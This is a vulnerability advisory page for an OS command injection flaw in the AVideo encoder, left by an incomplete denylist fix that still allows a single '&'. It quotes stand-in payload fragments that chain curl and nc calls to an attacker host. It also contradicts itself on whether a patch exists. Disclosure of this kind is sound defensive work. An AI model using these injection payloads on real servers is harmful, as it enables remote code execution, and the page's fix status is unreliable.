CVE-2026-55173 AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Incomplete sanitization allows OS command injection via single ampersand in AVideo, enabling remote code execution on the encoder server.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is CVE-2026-55173?
CVE-2026-55173 is a high-severity command injection vulnerability in WWBN AVideo, published on 16 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Weakness: CWE-78
Which versions are affected by CVE-2026-55173?
2 open source packages ship an affected version, including wwbn/avideo.
| Package | Affected | Fixed in |
|---|---|---|
wwbn/avideo Packagist | All versions to 29.0 | None |
wwbn/avideo Packagist | All versions to 29.0 | None |
How do I fix CVE-2026-55173?
No fix has been published for CVE-2026-55173 yet. Limit exposure of the affected software until one is available.
Upgrade, and pass arguments to programs as a list instead of through a shell. More about Command injection.
Is CVE-2026-55173 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-55173 exists.
Sources
Also known as GHSA-wc3f-xc32-435f.